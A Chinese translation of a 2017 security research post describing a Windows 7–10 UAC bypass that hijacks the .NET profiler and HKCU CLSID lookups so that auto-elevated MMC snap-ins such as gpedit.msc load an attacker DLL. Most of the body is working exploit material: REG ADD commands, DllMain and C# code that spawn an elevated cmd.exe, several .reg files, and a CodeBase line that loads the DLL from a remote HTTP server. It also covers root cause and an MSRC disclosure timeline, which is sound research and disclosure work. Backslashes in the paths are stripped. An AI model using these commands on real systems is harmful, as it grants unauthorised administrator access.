译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一、前言
即使进程处于特权模式下,.NET Framework也可以通过用户定义的环境变量以及CLSID注册表项来加载Profiling DLL或者COM组件DLL。这样一来,攻击者就可以利用自动提升权限的.NET进程(比如MMC管理单元)来加载任意DLL,从而绕过Windows 7到10系统(包括最新的RS3版本)中处于默认配置下的UAC机制。
二、简介
去年5月份时,Casey Smith在他自己的推特以及博客上指出,在环境变量的帮助下,攻击者可以利用 .NET profiler DLL加载机制迫使合法的.NET应用加载恶意DLL。
刚得知这些信息时,我首先想到的是,“如果这种情况也适用于特权.NET进程,那么这无疑又是绕过UAC的一个绝佳方法”。事实证明的确如此。
本文成稿时,这个问题还没有被修复,可能现在依然处于未修复状态。由于Stefan Kanthak独自发现、报告并公布了全部细节,因此自7月以来,所有人都已经知道了具体方法。
三、绕过UAC
我们可以使用如下环境变量,使.NET应用加载任意DLL:
COR_ENABLE_PROFILING=1 COR_PROFILER={GUID} COR_PROFILER_PATH=C:pathtosome.dll
对于4.0以下版本的 .NET,我们必须在注册表中的HKCRCLSID{GUID}InprocServer32路径下定义CLSID键值,并包含profiling DLL的具体路径。在最新的版本中,CLR(Common Language Runtime,公共语言运行库)使用CORPROFILERPATH这个环境变量来寻找DLL,如果未定义CORPROFILERPATH环境变量,那么CLR会继续使用CLSID这种寻路机制。
HKCRCLSID同时代表着HKLM以及HKCU中的SoftwareClassesCLSID路径。在HKLM(或者主机级别的环境变量)中创建CLSID键值需要提升权限,然而在HKCU中创建相应键值却可以绕过权限限制。关键点在于,用户级别的环境变量以及注册表项不会对程序的正常运行造成任何影响。
现在,我们只需要一个可以自动提升权限(默认设置下不会出现UAC提示符)的可执行程序,然后使用 .NET CLR来加载我们伪造的profiler DLL即可。MMC是非常适合的一个目标,在我的测试过程中,我使用的是gpedit MMC,当然还有其他MMC可用(稍后我会给出具体列表)。
我们只需要如下几条批处理命令,就能完成这个任务:
REG ADD "HKCUSoftwareClassesCLSID{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}InprocServer32" /ve /t REG_EXPAND_SZ /d "C:Temptest.dll" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCUEnvironment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCUEnvironment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:Temptest.dll" /f
mmc gpedit.msc
在普通权限的命令提示符中运行这些命令后,我们就可以在mmc.exe特权进程中加载C:Temptest.dll(当然前提是这个文件存在)。
通过这种方式,我们可以绕过Windows 7到10系统(包括最新的RS3版本)上使用默认配置的UAC机制。
PowerShell版本的PoC代码参考此链接,PoC中内置了一个64位的DLL。
这个DLL仅有的功能是当DLLPROCESSATTACH时运行cmd.exe,获得特权命令行shell,然后立刻退出当前进程以避免弹出MMC控制台。
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { char cmd[] = "cmd.exe";
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
WinExec(cmd, SW_SHOWNORMAL);
ExitProcess(0);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
PoC代码已在x64版的Windows 7、8.1、10 1703以及10 RS3 build 16275上测试通过。
当然,如果你使用的是SMB共享形式的UNC路径,PoC代码也能正常工作:
COR_PROFILER_PATH=\serversharetest.dll
四、根本原因
虽然在特权进程中运行时,COM运行时会禁止在用户注册表(HKCU)中搜索CLSID键值,以避免UAC被绕过,然而.NET运行时却没有这么做,并且在本文演示的场景中,查找过程由后者发起,负责组件的查找工作:
为了修复这个问题,CLR应该使用与COM类似的检查过程。
五、其他可用实例
既然我们已理清CLR的工作过程,我们可以观察栈中的CLR调用,检查HKCU中具体搜索的CLSID,找到其他可用实例。GPEdit中存在另一个可用的实例,也就是“Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager”组件(在我测试用的虚拟机上为CLSID {B29D466A-857D-35BA-8712-A758861BFEA1}):
观察HKCR中已有的键值,我们发现该组件本身似乎就是使用CLR程序集(assembly)来实现:
我们可以使用如下方式在用户注册表中定义一则COM表项(保存为.reg文件):
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}Implemented Categories]
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}Implemented Categories{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}InprocServer32] @="C:WindowsSystem32mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}InprocServer3210.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v4.0.30319" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{B29D466A-857D-35BA-8712-A758861BFEA1}ProgId] @="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"
MMC随后就会加载我们构造的DLL,并会尝试访问TestDotNet.Class1类。默认情况下,C#无法像DllMain那样,创建一个简单便捷的DLL入口点(我们也不想专门为此写一个模块初始化程序,因为我们很懒),但注册表中引用的那个类似乎会被加载,因此,我们可以使用静态构造函数来执行我们的提权代码:
using System;
using System.Diagnostics;
namespace TestDotNet
{
public class Class1
{
static Class1()
{
Process.Start("cmd.exe");
Environment.Exit(0);
}
}
}
DLL以及相应的注册表项准备就绪后,现在运行gpedit.msc,我们就会得到一个高权限shell(这次是通过一个 .NET DLL来实现):
这种方法比较有趣的一点在于,CodeBase参数不必局限于本地文件以及SMB共享文件,使用HTTP URL地址也可以完成加载:
"CodeBase"="http://server:8080/test_managed.dll"
所下载的DLL需要保存到磁盘中,因此,相对比本地DLL而言,这种方法更容易被检测到(因为涉及到磁盘+网络行为)。
攻击者喜闻乐见的是,有多个CLSID可以用于这种方法。
比如,compmgmt.msc、eventvwr.msc、secpol.msc以及taskschd.msc可以使用如下方法实现UAC绕过目的:
将“Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory”组件作为托管DLL。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}] @="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}Implemented Categories]
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}Implemented Categories{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}InprocServer32] @="C:WindowsSystem32mscoree.dll" "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "ThreadingModel"="Both" "CodeBase"="file://C://Temp//test_managed.dll"
[HKEYCURRENTUSERSoftwareClassesCLSID{D5AB5662-131D-453D-88C8-9BBA87502ADE}InprocServer323.0.0.0] "Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral" "Class"="TestDotNet.Class1" "RuntimeVersion"="v2.0.50727" "CodeBase"="file://C://Temp//test_managed.dll"
将“NDP SymBinder”作为原生DLL,通过Server入口进行劫持。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}] @="NDP SymBinder"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}InprocServer32] @="C:WindowsSystem32mscoree.dll" "ThreadingModel"="Both"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}InprocServer324.0.30319] @="4.0.30319" "ImplementedInThisVersion"=""
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}ProgID] @="CorSymBinder_SxS"
[HKEYCURRENTUSERSoftwareClassesCLSID{0A29FF9E-7F9C-4437-8B11-F424491E3931}Server] @="C:Temptest_unmanaged.dll"
将“Microsoft Common Language Runtime Meta Data”组件作为原生DLL,通过Server入口进行劫持(仅适用于secpol.msc)。
Windows Registry Editor Version 5.00
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}] @="Microsoft Common Language Runtime Meta Data"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}InprocServer32] @="C:WindowsSystem32mscoree.dll" "ThreadingModel"="Both"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}InprocServer324.0.30319] @="4.0.30319" "ImplementedInThisVersion"=""
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}ProgID] @="CLRMetaData.CorRuntimeHost.2"
[HKEYCURRENTUSERSoftwareClassesCLSID{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}Server] @="........Temptest_unmanaged.dll"
注意:这里所使用的路径必须是相对路径,否则mmc.exe会尝试加载C:WindowsMicrosoft.NETFramework64v4.0.30319C:Temptest_unmanaged.dll。
六、不安全的安全屏障
微软曾反复表态,称UAC并不是一个安全屏障。安全人员通常会使用更加贴切实际的语言来描述这一点:不要信任UAC,不要以split-token管理员身份运行,非管理员任务始终使用非管理员用户权限运行。我十分赞同这段话。
尽管如此,许多人仍然会以本地管理员身份来运行,这些人正是渗透测试人员(或者红队)以及攻击者的目标。因此我认为会有人对这项技术感兴趣。
就渗透测试而言,我推荐@tiraniddo使用的通用方法(具体实现样例可参考此链接,另一种实现方法很快就会公布),此方法不需要加载DLL,目前大多数EDR(端点检测与响应)解决方案都无法捕获这种方法。
此外,如果你对绕过UAC非常感兴趣,关于这主题网上有许多参考资料,但以下几份资料为必修课:
@enigma0x3的研究成果(以及他即将在DerbyCon上做的演讲内容)。
@tiraniddo写的使用SilentCleanup计划任务以及进程令牌绕过UAC的技术:第1、2、3部分。
@hFireF0X创建的UACME项目,囊括了绝大部分已知的UAC绕过方法,他在内核模式方面也做了相关研究。
@FuzzySec的UAC工作组以及Bypass-UAC项目,使用PowerShell实现了多种绕过技术。
非常感谢Casey Smith(@subtee)关于 .NET profiler DLL的提示,感谢微软开发者在问题根源方面给的提示,感谢Matt Graeber(@mattifestation)审阅本文并提出建议。
七、时间线
2017-05-19 发现UAC绕过问题。
2017-05-20 发邮件给MSRC。
2017-05-22 MSRC创建#38811案例。
2017-05-20/23 与MS开发团队就细节问题进行讨论。
2017-06-24 MSRC回复称:“经过我们的调查,我们认为这种案例不属于安全问题。UAC并非安全屏障。”
2017-07-05 Stefan Kanthak详细公布了这种UAC绕过方法。
2017-09-15 本文发表。